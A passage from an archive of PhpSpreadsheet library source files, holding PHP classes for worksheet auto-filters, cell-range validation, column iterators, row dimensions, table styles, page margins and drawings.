$columnFilterTest['method']]; $result // $result && // phpstan says $result is always true here = call_user_func_array($temp, [$cellValue, $columnFilterTest['arguments']]); // If filter test has resulted in FALSE, exit the loop straightaway rather than running any more tests if (!$result) { break; } } // Set show/hide for the row based on the result of the autoFilter result // If the RowDimension object has not been allocated yet and the row should be visible, // then we can avoid any operation since the rows are visible by default (saves a lot of memory) if ($result === false || $this->workSheet->rowDimensionExists((int) $row)) { $this->workSheet->getRowDimension((int) $row)->setVisible($result); } } $this->evaluated = true; return $this; } /** * Magic Range Auto-sizing. * For a single row rangeSet, we follow MS Excel rules, and search for the first empty row to determine our range. */ public function autoExtendRange(int $startRow, int $endRow): int { if ($startRow === $endRow && $this->workSheet !== null) { try { $rowIterator = $this->workSheet->getRowIterator($startRow + 1); } catch (Exception) { // If there are no rows below $startRow return $startRow; } foreach ($rowIterator as $row) { if ($row->isEmpty(CellIterator::TREAT_NULL_VALUE_AS_EMPTY_CELL | CellIterator::TREAT_EMPTY_STRING_AS_EMPTY_CELL) === true) { return $row->getRowIndex() - 1; } } } return $endRow; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { if (is_object($value)) { if ($key === 'workSheet') { // Detach from worksheet $this->{$key} = null; } else { $this->{$key} = clone $value; } } elseif ((is_array($value)) && ($key == 'columns')) { // The columns array of \PhpOffice\PhpSpreadsheet\Worksheet\Worksheet\AutoFilter objects $this->{$key} = []; foreach ($value as $k => $v) { $this->{$key}[$k] = clone $v; // attach the new cloned Column to this new cloned Autofilter object $this->{$key}[$k]->setParent($this); } } else { $this->{$key} = $value; } } } /** * toString method replicates previous behavior by returning the range if object is * referenced as a property of its parent. */ public function __toString(): string { return (string) $this->range; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/Validations.php000064400000011420151676714400022206 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use PhpOffice\PhpSpreadsheet\Cell\AddressRange; use PhpOffice\PhpSpreadsheet\Cell\CellAddress; use PhpOffice\PhpSpreadsheet\Cell\CellRange; use PhpOffice\PhpSpreadsheet\Exception as SpreadsheetException; class Validations { /** * Validate a cell address. * * @param null|array{0: int, 1: int}|CellAddress|string $cellAddress Coordinate of the cell as a string, eg: 'C5'; * or as an array of [$columnIndex, $row] (e.g. [3, 5]), or a CellAddress object. */ public static function validateCellAddress(null|CellAddress|string|array $cellAddress): string { if (is_string($cellAddress)) { [$worksheet, $address] = Worksheet::extractSheetTitle($cellAddress, true); // if (!empty($worksheet) && $worksheet !== $this->getTitle()) { // throw new Exception('Reference is not for this worksheet'); // } return empty($worksheet) ? strtoupper("$address") : $worksheet . '!' . strtoupper("$address"); } if (is_array($cellAddress)) { $cellAddress = CellAddress::fromColumnRowArray($cellAddress); } return (string) $cellAddress; } /** * Validate a cell address or cell range. * * @param AddressRange|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|CellAddress|int|string $cellRange Coordinate of the cells as a string, eg: 'C5:F12'; * or as an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 12]), * or as a CellAddress or AddressRange object. */ public static function validateCellOrCellRange(AddressRange|CellAddress|int|string|array $cellRange): string { if (is_string($cellRange) || is_numeric($cellRange)) { // Convert a single column reference like 'A' to 'A:A', // a single row reference like '1' to '1:1' $cellRange = (string) preg_replace('/^([A-Z]+|\d+)$/', '${1}:${1}', (string) $cellRange); } elseif (is_object($cellRange) && $cellRange instanceof CellAddress) { $cellRange = new CellRange($cellRange, $cellRange); } return self::validateCellRange($cellRange); } private const SETMAXROW = '${1}1:${2}' . AddressRange::MAX_ROW; private const SETMAXCOL = 'A${1}:' . AddressRange::MAX_COLUMN . '${2}'; /** * Validate a cell range. * * @param AddressRange|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|string $cellRange Coordinate of the cells as a string, eg: 'C5:F12'; * or as an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 12]), * or as an AddressRange object. */ public static function validateCellRange(AddressRange|string|array $cellRange): string { if (is_string($cellRange)) { [$worksheet, $addressRange] = Worksheet::extractSheetTitle($cellRange, true); // Convert Column ranges like 'A:C' to 'A1:C1048576' // or Row ranges like '1:3' to 'A1:XFD3' $addressRange = (string) preg_replace( ['/^([A-Z]+):([A-Z]+)$/i', '/^(\\d+):(\\d+)$/'], [self::SETMAXROW, self::SETMAXCOL], $addressRange ?? '' ); return empty($worksheet) ? strtoupper($addressRange) : $worksheet . '!' . strtoupper($addressRange); } if (is_array($cellRange)) { switch (count($cellRange)) { case 4: $from = [$cellRange[0], $cellRange[1]]; $to = [$cellRange[2], $cellRange[3]]; break; case 2: $from = [$cellRange[0], $cellRange[1]]; $to = [$cellRange[0], $cellRange[1]]; break; default: throw new SpreadsheetException('CellRange array length must be 2 or 4'); } $cellRange = new CellRange(CellAddress::fromColumnRowArray($from), CellAddress::fromColumnRowArray($to)); } return (string) $cellRange; } public static function definedNameToCoordinate(string $coordinate, Worksheet $worksheet): string { // Uppercase coordinate $coordinate = strtoupper($coordinate); // Eliminate leading equal sign $testCoordinate = (string) preg_replace('/^=/', '', $coordinate); $defined = $worksheet->getParentOrThrow()->getDefinedName($testCoordinate, $worksheet); if ($defined !== null) { if ($defined->getWorksheet() === $worksheet && !$defined->isFormula()) { $coordinate = (string) preg_replace('/^=/', '', $defined->getValue()); } } return $coordinate; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/HeaderFooterDrawing.php000064400000000706151676714400023621 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; class HeaderFooterDrawing extends Drawing { /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string { return md5( $this->getPath() . $this->name . $this->offsetX . $this->offsetY . $this->width . $this->height . __CLASS__ ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/ColumnCellIterator.php000064400000012772151676714400023513 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; /** * @extends CellIterator<int> */ class ColumnCellIterator extends CellIterator { /** * Current iterator position. */ private int $currentRow; /** * Column index. */ private int $columnIndex; /** * Start position. */ private int $startRow = 1; /** * End position. */ private int $endRow = 1; /** * Create a new row iterator. * * @param Worksheet $worksheet The worksheet to iterate over * @param string $columnIndex The column that we want to iterate * @param int $startRow The row number at which to start iterating * @param ?int $endRow Optionally, the row number at which to stop iterating */ public function __construct(Worksheet $worksheet, string $columnIndex = 'A', int $startRow = 1, ?int $endRow = null, bool $iterateOnlyExistingCells = false) { // Set subject $this->worksheet = $worksheet; $this->cellCollection = $worksheet->getCellCollection(); $this->columnIndex = Coordinate::columnIndexFromString($columnIndex); $this->resetEnd($endRow); $this->resetStart($startRow); $this->setIterateOnlyExistingCells($iterateOnlyExistingCells); } /** * (Re)Set the start row and the current row pointer. * * @param int $startRow The row number at which to start iterating * * @return $this */ public function resetStart(int $startRow = 1): static { $this->startRow = $startRow; $this->adjustForExistingOnlyRange(); $this->seek($startRow); return $this; } /** * (Re)Set the end row. * * @param ?int $endRow The row number at which to stop iterating * * @return $this */ public function resetEnd(?int $endRow = null): static { $this->endRow = $endRow ?: $this->worksheet->getHighestRow(); $this->adjustForExistingOnlyRange(); return $this; } /** * Set the row pointer to the selected row. * * @param int $row The row number to set the current pointer at * * @return $this */ public function seek(int $row = 1): static { if ( $this->onlyExistingCells && (!$this->cellCollection->has(Coordinate::stringFromColumnIndex($this->columnIndex) . $row)) ) { throw new PhpSpreadsheetException('In "IterateOnlyExistingCells" mode and Cell does not exist'); } if (($row < $this->startRow) || ($row > $this->endRow)) { throw new PhpSpreadsheetException("Row $row is out of range ({$this->startRow} - {$this->endRow})"); } $this->currentRow = $row; return $this; } /** * Rewind the iterator to the starting row. */ public function rewind(): void { $this->currentRow = $this->startRow; } /** * Return the current cell in this worksheet column. */ public function current(): ?Cell { $cellAddress = Coordinate::stringFromColumnIndex($this->columnIndex) . $this->currentRow; return $this->cellCollection->has($cellAddress) ? $this->cellCollection->get($cellAddress) : ( $this->ifNotExists === self::IF_NOT_EXISTS_CREATE_NEW ? $this->worksheet->createNewCell($cellAddress) : null ); } /** * Return the current iterator key. */ public function key(): int { return $this->currentRow; } /** * Set the iterator to its next value. */ public function next(): void { $columnAddress = Coordinate::stringFromColumnIndex($this->columnIndex); do { ++$this->currentRow; } while ( ($this->onlyExistingCells) && ($this->currentRow <= $this->endRow) && (!$this->cellCollection->has($columnAddress . $this->currentRow)) ); } /** * Set the iterator to its previous value. */ public function prev(): void { $columnAddress = Coordinate::stringFromColumnIndex($this->columnIndex); do { --$this->currentRow; } while ( ($this->onlyExistingCells) && ($this->currentRow >= $this->startRow) && (!$this->cellCollection->has($columnAddress . $this->currentRow)) ); } /** * Indicate if more rows exist in the worksheet range of rows that we're iterating. */ public function valid(): bool { return $this->currentRow <= $this->endRow && $this->currentRow >= $this->startRow; } /** * Validate start/end values for "IterateOnlyExistingCells" mode, and adjust if necessary. */ protected function adjustForExistingOnlyRange(): void { if ($this->onlyExistingCells) { $columnAddress = Coordinate::stringFromColumnIndex($this->columnIndex); while ( (!$this->cellCollection->has($columnAddress . $this->startRow)) && ($this->startRow <= $this->endRow) ) { ++$this->startRow; } while ( (!$this->cellCollection->has($columnAddress . $this->endRow)) && ($this->endRow >= $this->startRow) ) { --$this->endRow; } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/AutoFit.php000064400000003267151676714400021316 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use PhpOffice\PhpSpreadsheet\Cell\CellAddress; use PhpOffice\PhpSpreadsheet\Cell\CellRange; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; class AutoFit { protected Worksheet $worksheet; public function __construct(Worksheet $worksheet) { $this->worksheet = $worksheet; } public function getAutoFilterIndentRanges(): array { $autoFilterIndentRanges = []; $autoFilterIndentRanges[] = $this->getAutoFilterIndentRange($this->worksheet->getAutoFilter()); foreach ($this->worksheet->getTableCollection() as $table) { /** @var Table $table */ if ($table->getShowHeaderRow() === true && $table->getAllowFilter() === true) { $autoFilter = $table->getAutoFilter(); if ($autoFilter !== null) { $autoFilterIndentRanges[] = $this->getAutoFilterIndentRange($autoFilter); } } } return array_filter($autoFilterIndentRanges); } private function getAutoFilterIndentRange(AutoFilter $autoFilter): ?string { $autoFilterRange = $autoFilter->getRange(); $autoFilterIndentRange = null; if (!empty($autoFilterRange)) { $autoFilterRangeBoundaries = Coordinate::rangeBoundaries($autoFilterRange); $autoFilterIndentRange = (string) new CellRange( CellAddress::fromColumnAndRow($autoFilterRangeBoundaries[0][0], $autoFilterRangeBoundaries[0][1]), CellAddress::fromColumnAndRow($autoFilterRangeBoundaries[1][0], $autoFilterRangeBoundaries[0][1]) ); } return $autoFilterIndentRange; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/Dimension.php000064400000004215151676714400021662 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; abstract class Dimension { /** * Visible? */ private bool $visible = true; /** * Outline level. */ private int $outlineLevel = 0; /** * Collapsed. */ private bool $collapsed = false; /** * Index to cellXf. Null value means row has no explicit cellXf format. */ private ?int $xfIndex; /** * Create a new Dimension. * * @param ?int $initialValue Numeric row index */ public function __construct(?int $initialValue = null) { // set dimension as unformatted by default $this->xfIndex = $initialValue; } /** * Get Visible. */ public function getVisible(): bool { return $this->visible; } /** * Set Visible. * * @return $this */ public function setVisible(bool $visible) { $this->visible = $visible; return $this; } /** * Get Outline Level. */ public function getOutlineLevel(): int { return $this->outlineLevel; } /** * Set Outline Level. * Value must be between 0 and 7. * * @return $this */ public function setOutlineLevel(int $level) { if ($level < 0 || $level > 7) { throw new PhpSpreadsheetException('Outline level must range between 0 and 7.'); } $this->outlineLevel = $level; return $this; } /** * Get Collapsed. */ public function getCollapsed(): bool { return $this->collapsed; } /** * Set Collapsed. * * @return $this */ public function setCollapsed(bool $collapsed) { $this->collapsed = $collapsed; return $this; } /** * Get index to cellXf. */ public function getXfIndex(): ?int { return $this->xfIndex; } /** * Set index to cellXf. * * @return $this */ public function setXfIndex(int $XfIndex) { $this->xfIndex = $XfIndex; return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/Table/TableStyle.php000064400000013533151676714400023037 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet\Table; use PhpOffice\PhpSpreadsheet\Worksheet\Table; class TableStyle { const TABLE_STYLE_NONE = ''; const TABLE_STYLE_LIGHT1 = 'TableStyleLight1'; const TABLE_STYLE_LIGHT2 = 'TableStyleLight2'; const TABLE_STYLE_LIGHT3 = 'TableStyleLight3'; const TABLE_STYLE_LIGHT4 = 'TableStyleLight4'; const TABLE_STYLE_LIGHT5 = 'TableStyleLight5'; const TABLE_STYLE_LIGHT6 = 'TableStyleLight6'; const TABLE_STYLE_LIGHT7 = 'TableStyleLight7'; const TABLE_STYLE_LIGHT8 = 'TableStyleLight8'; const TABLE_STYLE_LIGHT9 = 'TableStyleLight9'; const TABLE_STYLE_LIGHT10 = 'TableStyleLight10'; const TABLE_STYLE_LIGHT11 = 'TableStyleLight11'; const TABLE_STYLE_LIGHT12 = 'TableStyleLight12'; const TABLE_STYLE_LIGHT13 = 'TableStyleLight13'; const TABLE_STYLE_LIGHT14 = 'TableStyleLight14'; const TABLE_STYLE_LIGHT15 = 'TableStyleLight15'; const TABLE_STYLE_LIGHT16 = 'TableStyleLight16'; const TABLE_STYLE_LIGHT17 = 'TableStyleLight17'; const TABLE_STYLE_LIGHT18 = 'TableStyleLight18'; const TABLE_STYLE_LIGHT19 = 'TableStyleLight19'; const TABLE_STYLE_LIGHT20 = 'TableStyleLight20'; const TABLE_STYLE_LIGHT21 = 'TableStyleLight21'; const TABLE_STYLE_MEDIUM1 = 'TableStyleMedium1'; const TABLE_STYLE_MEDIUM2 = 'TableStyleMedium2'; const TABLE_STYLE_MEDIUM3 = 'TableStyleMedium3'; const TABLE_STYLE_MEDIUM4 = 'TableStyleMedium4'; const TABLE_STYLE_MEDIUM5 = 'TableStyleMedium5'; const TABLE_STYLE_MEDIUM6 = 'TableStyleMedium6'; const TABLE_STYLE_MEDIUM7 = 'TableStyleMedium7'; const TABLE_STYLE_MEDIUM8 = 'TableStyleMedium8'; const TABLE_STYLE_MEDIUM9 = 'TableStyleMedium9'; const TABLE_STYLE_MEDIUM10 = 'TableStyleMedium10'; const TABLE_STYLE_MEDIUM11 = 'TableStyleMedium11'; const TABLE_STYLE_MEDIUM12 = 'TableStyleMedium12'; const TABLE_STYLE_MEDIUM13 = 'TableStyleMedium13'; const TABLE_STYLE_MEDIUM14 = 'TableStyleMedium14'; const TABLE_STYLE_MEDIUM15 = 'TableStyleMedium15'; const TABLE_STYLE_MEDIUM16 = 'TableStyleMedium16'; const TABLE_STYLE_MEDIUM17 = 'TableStyleMedium17'; const TABLE_STYLE_MEDIUM18 = 'TableStyleMedium18'; const TABLE_STYLE_MEDIUM19 = 'TableStyleMedium19'; const TABLE_STYLE_MEDIUM20 = 'TableStyleMedium20'; const TABLE_STYLE_MEDIUM21 = 'TableStyleMedium21'; const TABLE_STYLE_MEDIUM22 = 'TableStyleMedium22'; const TABLE_STYLE_MEDIUM23 = 'TableStyleMedium23'; const TABLE_STYLE_MEDIUM24 = 'TableStyleMedium24'; const TABLE_STYLE_MEDIUM25 = 'TableStyleMedium25'; const TABLE_STYLE_MEDIUM26 = 'TableStyleMedium26'; const TABLE_STYLE_MEDIUM27 = 'TableStyleMedium27'; const TABLE_STYLE_MEDIUM28 = 'TableStyleMedium28'; const TABLE_STYLE_DARK1 = 'TableStyleDark1'; const TABLE_STYLE_DARK2 = 'TableStyleDark2'; const TABLE_STYLE_DARK3 = 'TableStyleDark3'; const TABLE_STYLE_DARK4 = 'TableStyleDark4'; const TABLE_STYLE_DARK5 = 'TableStyleDark5'; const TABLE_STYLE_DARK6 = 'TableStyleDark6'; const TABLE_STYLE_DARK7 = 'TableStyleDark7'; const TABLE_STYLE_DARK8 = 'TableStyleDark8'; const TABLE_STYLE_DARK9 = 'TableStyleDark9'; const TABLE_STYLE_DARK10 = 'TableStyleDark10'; const TABLE_STYLE_DARK11 = 'TableStyleDark11'; /** * Theme. */ private string $theme; /** * Show First Column. */ private bool $showFirstColumn = false; /** * Show Last Column. */ private bool $showLastColumn = false; /** * Show Row Stripes. */ private bool $showRowStripes = false; /** * Show Column Stripes. */ private bool $showColumnStripes = false; /** * Table. */ private ?Table $table = null; /** * Create a new Table Style. * * @param string $theme (e.g. TableStyle::TABLE_STYLE_MEDIUM2) */ public function __construct(string $theme = self::TABLE_STYLE_MEDIUM2) { $this->theme = $theme; } /** * Get theme. */ public function getTheme(): string { return $this->theme; } /** * Set theme. */ public function setTheme(string $theme): self { $this->theme = $theme; return $this; } /** * Get show First Column. */ public function getShowFirstColumn(): bool { return $this->showFirstColumn; } /** * Set show First Column. */ public function setShowFirstColumn(bool $showFirstColumn): self { $this->showFirstColumn = $showFirstColumn; return $this; } /** * Get show Last Column. */ public function getShowLastColumn(): bool { return $this->showLastColumn; } /** * Set show Last Column. */ public function setShowLastColumn(bool $showLastColumn): self { $this->showLastColumn = $showLastColumn; return $this; } /** * Get show Row Stripes. */ public function getShowRowStripes(): bool { return $this->showRowStripes; } /** * Set show Row Stripes. */ public function setShowRowStripes(bool $showRowStripes): self { $this->showRowStripes = $showRowStripes; return $this; } /** * Get show Column Stripes. */ public function getShowColumnStripes(): bool { return $this->showColumnStripes; } /** * Set show Column Stripes. */ public function setShowColumnStripes(bool $showColumnStripes): self { $this->showColumnStripes = $showColumnStripes; return $this; } /** * Get this Style's Table. */ public function getTable(): ?Table { return $this->table; } /** * Set this Style's Table. */ public function setTable(?Table $table = null): self { $this->table = $table; return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/Table/Column.php000064400000013616151676714400022226 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet\Table; use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\Table; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class Column { /** * Table Column Index. */ private string $columnIndex; /** * Show Filter Button. */ private bool $showFilterButton = true; /** * Total Row Label. */ private ?string $totalsRowLabel = null; /** * Total Row Function. */ private ?string $totalsRowFunction = null; /** * Total Row Formula. */ private ?string $totalsRowFormula = null; /** * Column Formula. */ private ?string $columnFormula = null; /** * Table. */ private ?Table $table; /** * Create a new Column. * * @param string $column Column (e.g. A) * @param ?Table $table Table for this column */ public function __construct(string $column, ?Table $table = null) { $this->columnIndex = $column; $this->table = $table; } /** * Get Table column index as string eg: 'A'. */ public function getColumnIndex(): string { return $this->columnIndex; } /** * Set Table column index as string eg: 'A'. * * @param string $column Column (e.g. A) */ public function setColumnIndex(string $column): self { // Uppercase coordinate $column = strtoupper($column); if ($this->table !== null) { $this->table->isColumnInRange($column); } $this->columnIndex = $column; return $this; } /** * Get show Filter Button. */ public function getShowFilterButton(): bool { return $this->showFilterButton; } /** * Set show Filter Button. */ public function setShowFilterButton(bool $showFilterButton): self { $this->showFilterButton = $showFilterButton; return $this; } /** * Get total Row Label. */ public function getTotalsRowLabel(): ?string { return $this->totalsRowLabel; } /** * Set total Row Label. */ public function setTotalsRowLabel(string $totalsRowLabel): self { $this->totalsRowLabel = $totalsRowLabel; return $this; } /** * Get total Row Function. */ public function getTotalsRowFunction(): ?string { return $this->totalsRowFunction; } /** * Set total Row Function. */ public function setTotalsRowFunction(string $totalsRowFunction): self { $this->totalsRowFunction = $totalsRowFunction; return $this; } /** * Get total Row Formula. */ public function getTotalsRowFormula(): ?string { return $this->totalsRowFormula; } /** * Set total Row Formula. */ public function setTotalsRowFormula(string $totalsRowFormula): self { $this->totalsRowFormula = $totalsRowFormula; return $this; } /** * Get column Formula. */ public function getColumnFormula(): ?string { return $this->columnFormula; } /** * Set column Formula. */ public function setColumnFormula(string $columnFormula): self { $this->columnFormula = $columnFormula; return $this; } /** * Get this Column's Table. */ public function getTable(): ?Table { return $this->table; } /** * Set this Column's Table. */ public function setTable(?Table $table = null): self { $this->table = $table; return $this; } public static function updateStructuredReferences(?Worksheet $workSheet, ?string $oldTitle, ?string $newTitle): void { if ($workSheet === null || $oldTitle === null || $oldTitle === '' || $newTitle === null) { return; } // Remember that table headings are case-insensitive if (StringHelper::strToLower($oldTitle) !== StringHelper::strToLower($newTitle)) { // We need to check all formula cells that might contain Structured References that refer // to this column, and update those formulae to reference the new column text $spreadsheet = $workSheet->getParentOrThrow(); foreach ($spreadsheet->getWorksheetIterator() as $sheet) { self::updateStructuredReferencesInCells($sheet, $oldTitle, $newTitle); } self::updateStructuredReferencesInNamedFormulae($spreadsheet, $oldTitle, $newTitle); } } private static function updateStructuredReferencesInCells(Worksheet $worksheet, string $oldTitle, string $newTitle): void { $pattern = '/\[(@?)' . preg_quote($oldTitle, '/') . '\]/mui'; foreach ($worksheet->getCoordinates(false) as $coordinate) { $cell = $worksheet->getCell($coordinate); if ($cell->getDataType() === DataType::TYPE_FORMULA) { $formula = $cell->getValueString(); if (preg_match($pattern, $formula) === 1) { $formula = preg_replace($pattern, "[$1{$newTitle}]", $formula); $cell->setValueExplicit($formula, DataType::TYPE_FORMULA); } } } } private static function updateStructuredReferencesInNamedFormulae(Spreadsheet $spreadsheet, string $oldTitle, string $newTitle): void { $pattern = '/\[(@?)' . preg_quote($oldTitle, '/') . '\]/mui'; foreach ($spreadsheet->getNamedFormulae() as $namedFormula) { $formula = $namedFormula->getValue(); if (preg_match($pattern, $formula) === 1) { $formula = preg_replace($pattern, "[$1{$newTitle}]", $formula) ?? ''; $namedFormula->setValue($formula); } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/RowDimension.php000064400000005177151676714400022362 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use PhpOffice\PhpSpreadsheet\Helper\Dimension as CssDimension; class RowDimension extends Dimension { /** * Row index. */ private ?int $rowIndex; /** * Row height (in pt). * * When this is set to a negative value, the row height should be ignored by IWriter */ private float $height = -1; /** * ZeroHeight for Row? */ private bool $zeroHeight = false; /** * Create a new RowDimension. * * @param ?int $index Numeric row index */ public function __construct(?int $index = 0) { // Initialise values $this->rowIndex = $index; // set dimension as unformatted by default parent::__construct(null); } /** * Get Row Index. */ public function getRowIndex(): ?int { return $this->rowIndex; } /** * Set Row Index. * * @return $this */ public function setRowIndex(int $index): static { $this->rowIndex = $index; return $this; } /** * Get Row Height. * By default, this will be in points; but this method also accepts an optional unit of measure * argument, and will convert the value from points to the specified UoM. * A value of -1 tells Excel to display this column in its default height. */ public function getRowHeight(?string $unitOfMeasure = null): float { return ($unitOfMeasure === null || $this->height < 0) ? $this->height : (new CssDimension($this->height . CssDimension::UOM_POINTS))->toUnit($unitOfMeasure); } /** * Set Row Height. * * @param float $height in points. A value of -1 tells Excel to display this column in its default height. * By default, this will be the passed argument value; but this method also accepts an optional unit of measure * argument, and will convert the passed argument value to points from the specified UoM * * @return $this */ public function setRowHeight(float $height, ?string $unitOfMeasure = null): static { $this->height = ($unitOfMeasure === null || $height < 0) ? $height : (new CssDimension("{$height}{$unitOfMeasure}"))->height(); return $this; } /** * Get ZeroHeight. */ public function getZeroHeight(): bool { return $this->zeroHeight; } /** * Set ZeroHeight. * * @return $this */ public function setZeroHeight(bool $zeroHeight): static { $this->zeroHeight = $zeroHeight; return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/PageMargins.php000064400000005571151676714400022140 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; class PageMargins { /** * Left. */ private float $left = 0.7; /** * Right. */ private float $right = 0.7; /** * Top. */ private float $top = 0.75; /** * Bottom. */ private float $bottom = 0.75; /** * Header. */ private float $header = 0.3; /** * Footer. */ private float $footer = 0.3; /** * Create a new PageMargins. */ public function __construct() { } /** * Get Left. */ public function getLeft(): float { return $this->left; } /** * Set Left. * * @return $this */ public function setLeft(float $left): static { $this->left = $left; return $this; } /** * Get Right. */ public function getRight(): float { return $this->right; } /** * Set Right. * * @return $this */ public function setRight(float $right): static { $this->right = $right; return $this; } /** * Get Top. */ public function getTop(): float { return $this->top; } /** * Set Top. * * @return $this */ public function setTop(float $top): static { $this->top = $top; return $this; } /** * Get Bottom. */ public function getBottom(): float { return $this->bottom; } /** * Set Bottom. * * @return $this */ public function setBottom(float $bottom): static { $this->bottom = $bottom; return $this; } /** * Get Header. */ public function getHeader(): float { return $this->header; } /** * Set Header. * * @return $this */ public function setHeader(float $header): static { $this->header = $header; return $this; } /** * Get Footer. */ public function getFooter(): float { return $this->footer; } /** * Set Footer. * * @return $this */ public function setFooter(float $footer): static { $this->footer = $footer; return $this; } public static function fromCentimeters(float $value): float { return $value / 2.54; } public static function toCentimeters(float $value): float { return $value * 2.54; } public static function fromMillimeters(float $value): float { return $value / 25.4; } public static function toMillimeters(float $value): float { return $value * 25.4; } public static function fromPoints(float $value): float { return $value / 72; } public static function toPoints(float $value): float { return $value * 72; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/Drawing.php000064400000012534151676714400021333 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; use ZipArchive; class Drawing extends BaseDrawing { const IMAGE_TYPES_CONVERTION_MAP = [ IMAGETYPE_GIF => IMAGETYPE_PNG, IMAGETYPE_JPEG => IMAGETYPE_JPEG, IMAGETYPE_PNG => IMAGETYPE_PNG, IMAGETYPE_BMP => IMAGETYPE_PNG, ]; /** * Path. */ private string $path; /** * Whether or not we are dealing with a URL. */ private bool $isUrl; /** * Create a new Drawing. */ public function __construct() { // Initialise values $this->path = ''; $this->isUrl = false; // Initialize parent parent::__construct(); } /** * Get Filename. */ public function getFilename(): string { return basename($this->path); } /** * Get indexed filename (using image index). */ public function getIndexedFilename(): string { return md5($this->path) . '.' . $this->getExtension(); } /** * Get Extension. */ public function getExtension(): string { $exploded = explode('.', basename($this->path)); return $exploded[count($exploded) - 1]; } /** * Get full filepath to store drawing in zip archive. */ public function getMediaFilename(): string { if (!array_key_exists($this->type, self::IMAGE_TYPES_CONVERTION_MAP)) { throw new PhpSpreadsheetException('Unsupported image type in comment background. Supported types: PNG, JPEG, BMP, GIF.'); } return sprintf('image%d%s', $this->getImageIndex(), $this->getImageFileExtensionForSave()); } /** * Get Path. */ public function getPath(): string { return $this->path; } /** * Set Path. * * @param string $path File path * @param bool $verifyFile Verify file * @param ?ZipArchive $zip Zip archive instance * * @return $this */ public function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static { if ($verifyFile && preg_match('~^data:image/[a-z]+;base64,~', $path) !== 1) { // Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979 if (filter_var($path, FILTER_VALIDATE_URL)) { $this->path = $path; // Implicit that it is a URL, rather store info than running check above on value in other places. $this->isUrl = true; $imageContents = file_get_contents($path); $filePath = tempnam(sys_get_temp_dir(), 'Drawing'); if ($filePath) { file_put_contents($filePath, $imageContents); if (file_exists($filePath)) { $this->setSizesAndType($filePath); unlink($filePath); } } } elseif (file_exists($path)) { $this->path = $path; $this->setSizesAndType($path); } elseif ($zip instanceof ZipArchive) { $zipPath = explode('#', $path)[1]; if ($zip->locateName($zipPath) !== false) { $this->path = $path; $this->setSizesAndType($path); } } else { throw new PhpSpreadsheetException("File $path not found!"); } } else { $this->path = $path; } return $this; } /** * Get isURL. */ public function getIsURL(): bool { return $this->isUrl; } /** * Set isURL. * * @return $this */ public function setIsURL(bool $isUrl): self { $this->isUrl = $isUrl; return $this; } /** * Get hash code. * * @return string Hash code */ public function getHashCode(): string { return md5( $this->path . parent::getHashCode() . __CLASS__ ); } /** * Get Image Type for Save. */ public function getImageTypeForSave(): int { if (!array_key_exists($this->type, self::IMAGE_TYPES_CONVERTION_MAP)) { throw new PhpSpreadsheetException('Unsupported image type in comment background. Supported types: PNG, JPEG, BMP, GIF.'); } return self::IMAGE_TYPES_CONVERTION_MAP[$this->type]; } /** * Get Image file extention for Save. */ public function getImageFileExtensionForSave(bool $includeDot = true): string { if (!array_key_exists($this->type, self::IMAGE_TYPES_CONVERTION_MAP)) { throw new PhpSpreadsheetException('Unsupported image type in comment background. Supported types: PNG, JPEG, BMP, GIF.'); } $result = image_type_to_extension(self::IMAGE_TYPES_CONVERTION_MAP[$this->type], $includeDot); return "$result"; } /** * Get Image mime type. */ public function getImageMimeType(): string { if (!array_key_exists($this->type, self::IMAGE_TYPES_CONVERTION_MAP)) { throw new PhpSpreadsheetException('Unsupported image type in comment background. Supported types: PNG, JPEG, BMP, GIF.'); } return image_type_to_mime_type(self::IMAGE_TYPES_CONVERTION_MAP[$this->type]); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/HeaderFooter.php000064400000024757151676714400022321 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; /** * <code> * Header/Footer Formatting Syntax taken from Office Open XML Part 4 - Markup Language Reference, page 1970:. * * There are a number of formatting codes that can be written inline with the actual header / footer text, which * affect the formatting in the header or footer. * * Example: This example shows the text "Center Bold Header" on the first line (center section), and the date on * the second line (center section). * &CCenter 